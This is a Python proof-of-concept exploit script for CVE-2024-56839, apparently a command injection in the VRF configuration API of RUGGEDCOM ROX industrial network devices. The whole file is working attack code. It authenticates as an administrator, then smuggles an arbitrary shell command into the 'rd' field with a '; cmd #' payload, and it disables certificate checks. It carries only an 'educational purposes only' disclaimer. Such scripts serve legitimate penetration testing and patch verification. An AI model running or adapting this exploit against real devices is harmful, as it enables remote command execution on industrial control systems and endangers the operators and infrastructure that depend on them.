#!/usr/bin/env python3
"""
CVE-2024-56839 PoC - RUGGEDCOM ROX VRF Code Injection
Note: This PoC is for educational purposes only. Authorization required.
"""
import requests
import argparse
def exploit_vrf_injection(target_ip, username, password, cmd):
"""
Exploit CVE-2024-56839: VRF Code Injection in RUGGEDCOM ROX devices
Prerequisites:
- Valid administrator credentials
- VRF feature must be enabled
- Network access to the device management interface
"""
login_url = f"https://{target_ip}/api/login"
vrf_url = f"https://{target_ip}/api/vrf/config"
# Step 1: Authenticate with valid credentials
session = requests.Session()
login_data = {
"username": username,
"password": password
}
try:
response = session.post(login_url, json=login_data, verify=False, timeout=10)
if response.status_code != 200:
print(f"[-] Authentication failed: {response.status_code}")
return False
print("[+] Authentication successful")
# Step 2: Inject malicious code through VRF parameter
# The vulnerability allows command injection in VRF configuration
inject_payload = f"; {cmd} #"
vrf_data = {
"vrf_name": "test_vrf",
"rd": f"65000:100{inject_payload}",
"description": "VRF configuration test"
}
response = session.post(vrf_url, json=vrf_data, verify=False, timeout=10)
if response.status_code == 200:
print(f"[+] Payload sent successfully")
print(f"[+] Command executed: {cmd}")
return True
else:
print(f"[-] Exploitation failed: {response.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2024-56839 PoC")
parser.add_argument("-t", "--target", required=True, help="Target IP address")
parser.add_argument("-u", "--username", required=True, help="Username")
parser.add_argument("-p", "--password", required=True, help="Password")
parser.add_argument("-c", "--command", default="id", help="Command to execute")
args = parser.parse_args()
exploit_vrf_injection(args.target, args.username, args.password, args.command)